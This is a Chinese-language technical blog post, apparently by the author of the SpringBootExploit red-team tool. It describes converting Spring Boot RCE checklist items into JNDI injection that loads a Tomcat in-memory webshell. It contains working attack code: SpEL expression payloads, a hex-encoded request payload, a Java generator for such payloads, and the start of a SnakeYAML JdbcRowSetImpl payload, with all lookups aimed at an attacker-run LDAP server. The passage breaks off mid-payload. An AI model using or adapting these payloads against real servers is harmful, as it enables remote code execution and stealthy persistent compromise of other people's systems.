前言
SpringBootVulExploit是Spring Boot漏洞Check
list,但在真正的环境中进行漏洞利用还是有一段距离的,因此衍生出了SpringBootExploit工具。本文是对该Check
list到内存马探索之路的记录。再此过程中学到了很多知识,收获了很多,感谢神父hl0rey对我指导,才有工具诞生。
漏洞归类
Check list一共给出了十二种方法,我们首先归类一下,看有那些共同点。
- JNDI注入
1. 0x04:jolokia logback JNDI RCE
2. 0x05:jolokia Realm JNDI RCE
3. 0x07:h2 database console JNDI RCE - Restart
1. 0x06:restart h2 database query RCE
2. 0x09:restart logging.config logback JNDI RCE
3. 0x0A:restart logging.config groovy RCE
4. 0x0B:restart spring.main.sources groovy RCE
5. 0x0C:restart spring.datasource.data h2 database RCE - 其他
1. 0x01:whitelabel error page SpEL RCE
2. 0x02:spring cloud SnakeYAML RCE
3. 0x03:eureka xstream deserialization RCE
4. 0x08:mysql jdbc deserialization RCE
分类标准,第一类是都可以直接使用JNDI注入的,第二类是都会将目标环境重启启动的,第三类是无法直接利用JNDI注入的。
第一类
第一类是最容易实现的JNDI内存马注入的,遇到的问题也是最少的。
第二类
第二类是都需要对环境进行重启操作,在测试过程中很容易对环境造成不可逆的后果。所以对此并没有进行整合,未来也不会集成。
第三类
第三类是无法直接利用JNDI,并且Check list说明里面都是反弹shell、弹计算器之类操作,这对于红队的是意义很小。
漏洞规范化
写工具首先得每一个漏洞的Payload进行规范,目前支持所有的方式就是将第三类转化支持JNDI注入的方式。将第三类漏洞进行转化是繁琐的工作,每一个漏洞目前网上公开的文章都是基于check
list编写的。此过程中遇到很多问题,一度曾放弃几种方式。一开始设想过支持回显,但后来发现,反序列化执行操作都是用服务器发起了,无法做到回显,压根行不通。所有后面只做了内存马,目前只支持一种内存马后期会考虑支持更多类型的内存马。
whitelabel error page SpEL RCE
SpEL RCE 最大问题就是如何用一句话的方式实现JNDI的方式。在天下大木头的指导下我获得提示:
javax.naming.InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");
根据上面尝试,在测试的过程遇到某名奇妙的一些问题。
public class spel {
public static void main(String[] args) {
String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";
String rmi = "T(javax.naming.InitialContext).lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
String ldap = "new javax.naming.InitialContext().lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))";
String poc2 = "java.lang.Class.forName(\"javax.naming.InitialContext\").getMethod(\"lookup\", String.class).invoke(Class.forName(\"javax.naming.InitialContext\").newInstance(),\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(rmi);
StandardEvaluationContext context = new StandardEvaluationContext();
expression.getValue(context);
}
}
使用payload rmi时会报找不到lookup方法
使用payload poc2也报错
最终通过不断尝试payload
ldap是有效。但这个漏洞利用方式没在工具里集成,是因为SpEL漏洞存在有很多种情况,无法做到考虑完全,如果你发现此漏洞可以用该工具生成Payload打。
Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload
${new javax.naming.InitialContext().lookup(new String(new byte[]{ 0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,0x6c,0x33 }))}
payload生成代码:
public String SpelExpr(String cmd){
String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";
StringBuilder sb = new StringBuilder();
char[] ch = cmd.toCharArray();
for (int i=0 ; i<ch.length; i++){
sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
if (i != ch.length -1 ){
sb.append(",");
}
}
ldap += sb.append(" }))}").toString();
System.out.println(ldap);
return ldap;
}
spring cloud SnakeYAML RCE
SnakeYaml RCE处理的比较特殊,一开始尝试转化JNDI的方法测试失败。JNDI注入其实是可以的,后期成功,但有一个问题 POST
/refresh 的时候会返回500,但注入是成功的(注入不成功也是,所以是无法很好的判断)。使用check
list中的jar方式返回是200。工具里面采用的是jar的方式,会判断是否注入成功。
直接JNDI注入的代码。
String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
" dataSourceName: \"ldap://127.0.0.1:13